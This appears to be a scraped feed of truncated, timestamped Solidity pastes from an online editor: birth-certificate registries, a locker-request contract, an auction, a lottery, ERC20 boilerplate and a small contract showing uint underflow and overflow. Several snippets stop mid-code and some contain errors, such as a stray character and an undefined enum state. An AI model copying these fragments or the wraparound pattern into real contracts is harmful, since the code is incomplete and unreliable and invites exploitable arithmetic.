  /****
Feb 07, 2021 18:56:24 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (address=>bool) public isHospital;
  mapping (address=>bool) public isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
  /****
Feb 07, 2021 17:54:13 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (address=>bool) public isHospital;
  mapping (address=>bool) public isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  
  /*******
Feb 07, 2021 17:50:54 UTC
pragma solidity 0.4.24;

// Testing Uint256 underflow and overflow in Solidity
h
contract UintWrapping {
    uint public zero = 0;
    uint public max = 2**256-1;
    
    // zero will end up at 2**256-1
    function zeroMinus1() public {
        zero -= 1;
    }
    // max will end up at 0
    function maxPlus1() public {
        max += 1;
    }
Feb 06, 2021 16:52:23 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthCert {

  address public gov;
  constructor() {
    gov = msg.sender;
  }
  
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubadd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubadd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    uint hospitalId;
    uint muncipalityId;
  }

  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) public bc;
  mapping (uint=>bool) public bcApprove;
  mapping (bytes32=>uint) verifyedBc;
  uint public hID = 256;
  uint public mID = 512;
  uint public bCID = 1024;

  modifier onlyGov(){
    require(gov == msg.sender,"only Gov");
    _;
  }
  modifier onlyHospital(uint id){
    require(hospital[id].pubadd == msg.sender,"only Hospital
Feb 05, 2021 20:55:59 UTC
pragma solidity 0.7.1;

contract CCRequest
{
    address public Owner;
    address public BankAgent;
    string public LockerFriendlyName;
    string public LockerIdentifier;
    address public CurrentAuthorizedUser;
    string public ExpirationDate;
    string public Image;
    address public ThirdPartyRequestor;
    string public IntendedPurpose;
    string public LockerStatus;
    string public RejectionReason;

    enum StateType { Requested, UnderReview, Approved, Rejected }
    StateType public State;

    constructor(string memory lockerFriendlyName, address bankAgent) public
    {
        Owner = msg.sender;
        LockerFriendlyName = lockerFriendlyName;

        State = StateType.Requested;

        BankAgent = bankAgent;
    }

    function BeginReviewProcess() public
    {
        if (Owner == msg.sender)
        {
            revert();
        }
        BankAgent = msg.sender;

        LockerStatus = "Pending";
        State = StateType.DocumentReview;
    }

    function RejectApplication(strin
Feb 05, 2021 20:28:13 UTC
pragma solidity 0.8.0;

contract Smart2 {


    struct Play  {
        address payable player;
        uint256 timestamp;
    }

  
    mapping(uint => mapping(uint => Play)) public seassons;

    constructor() {
        //1 not working  (Compiled)
        // Works
        seassons[0][0] = Play(payable(msg.sender), block.timestamp);
        
        
        //2 not working (Compiled)
        // Works
        Play storage player = seassons[0][0];
        
        // When using payable in the Play struct, you also have to use payable() for addresses you put into the struct.
        player.player = payable(msg.sender);
        player.timestamp = block.timestamp;
        
        // Kept it commented out, look at line 17
        //seassons[0][0] = Play(msg.sender, block.timestamp);
        
        // Won't work, look at line 17
        // seassons.push([(Play(msg.sender, block.timestamp))]);
        

    }
    
Jan 31, 2021 22:00:06 UTC
pragma solidity 0.8.0;

contract Smart2 {


    struct Play  {
        address payable player;
        uint256 timestamp;
    }

  
    mapping(uint => mapping(uint => Play)) public seassons;

    constructor() {
        //1 not working  (Compiled)
        
        seassons[0][0] = Play(payable(msg.sender), block.timestamp);
        
        
        //2 not working (Compiled)
        Play storage player = seassons[0][0];
        
        // When using payable in the Play struct, you also have to use payable() for addresses you put into the struct.
        player.player = payable(msg.sender);
        player.timestamp = block.timestamp;
        
        // Kept it commented out since it was defined equally in line 17
        //seassons[0][0] = Play(msg.sender, block.timestamp);
        
        // Use as line 17
        // seassons.push([(Play(msg.sender, block.timestamp))]);
        

    }
    
Jan 31, 2021 21:58:21 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Inbox {
  string public message;

  function Inbox(string initialMessage) public {
    message = initialMessage;
  }

  function setMessage(string newMessage) public {
    message = newMessage;
  }

  function getMessage() public view returns (string) {
    return message;
  }
Jan 27, 2021 15:23:40 UTC
pragma solidity ^0.7.0;
//SPDX-License-Identifier: UNLICENSED

contract sanity_check {
    function welcome() public pure returns (string memory){
        return "flag{}";
    }
}
Jan 24, 2021 23:23:29 UTC
pragma solidity ^0.6.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function decimals() external view returns (uint);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
     
Jan 23, 2021 20:35:31 UTC
pragma solidity ^0.6.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function decimals() external view returns (uint);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
     
Jan 23, 2021 20:31:46 UTC
pragma solidity ^0.5.0; 


 interface RegisterSC{
      
        function isBuyerExist(address addr) external view returns (bool); 
    }
    
contract PlasticBale{
    

    address[] public plasticBale; 
    address payable[] public contributors; 
     address payable[] public tempArray; 
     uint public contribution;  //Added here
   
 // Bid variables 
      bool public isOpen; 
      uint public highestBid; 
      address payable public highestBidder; 
      uint public startTime; 
      uint public endTime; 

  
  struct buyer{
      bool isExist; 
      uint placedBids; 
      uint deposit; 
  }
  
  //Bidder[BuyerAddress]
  mapping(address=>buyer) bidder; 
  
  //Seller is the auctionOwner 
   address payable public auctionOwner;
   
   // Bidders are the Buyers 
   uint totalBidders; 
    
    constructor(address[] memory _plasticBale, address payable[] memory _contributors, address payable seller ) public {
      plasticBale = _plasticBale; 
      contributors = _contributors; 
      auctionOwner =
Jan 23, 2021 18:52:38 UTC
pragma solidity 0.5.12;


contract TickeTron {

    // Struct TicketSequence
    // it consists of uint8 array of 6 elements;
    struct TicketProof {
        uint256 value;
        uint256 ticketTime;
    }

    struct Player {
        
        uint256 id;

        address payable wallet;

        // Dynamic Array of TicketSequence
        TicketProof[] tickets;

        uint256 ticketsCount;

    }

    // TRON Address for Admin
    address payable public owner;

    // Map for User Address and User Object
    mapping(address => Player) public players;


    /** Price for a Ticket - it would be TRON in future 
      For now I mean this is 0.01ETH
    */
    uint private ticketPrice = 1000000000;

    
    /** Counters */
    uint256 public total_users = 50;
    uint256 public total_deposited;
    uint256 public total_withdraw;


    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }


    constructor(address payable _owner) public {
        
        owner = _owner;

    }
    
   
Jan 19, 2021 21:44:55 UTC